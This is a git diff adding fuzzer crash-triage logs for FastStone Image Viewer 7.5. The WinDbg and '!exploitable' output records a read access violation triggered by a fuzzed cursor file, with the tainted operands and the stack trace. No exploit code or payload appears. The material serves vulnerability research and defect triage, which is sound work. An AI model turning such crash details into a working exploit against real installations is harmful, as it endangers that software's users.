+FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/32513/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b53b971 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..b321508 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x196C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x196C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(196c.a3c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f07b10 edx=00003879 esi=12738f10 edi=0fcc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.196060000000000000000e+0005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.04538e+022 3.15629e+024 2.21924e+014 2.96456e+020 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a1000 b614579a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..b321508 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/33306/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x196C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x196C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(196c.a3c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f07b10 edx=00003879 esi=12738f10 edi=0fcc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.196060000000000000000e+0005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.04538e+022 3.15629e+024 2.21924e+014 2.96456e+020 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a1000 b614579a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m 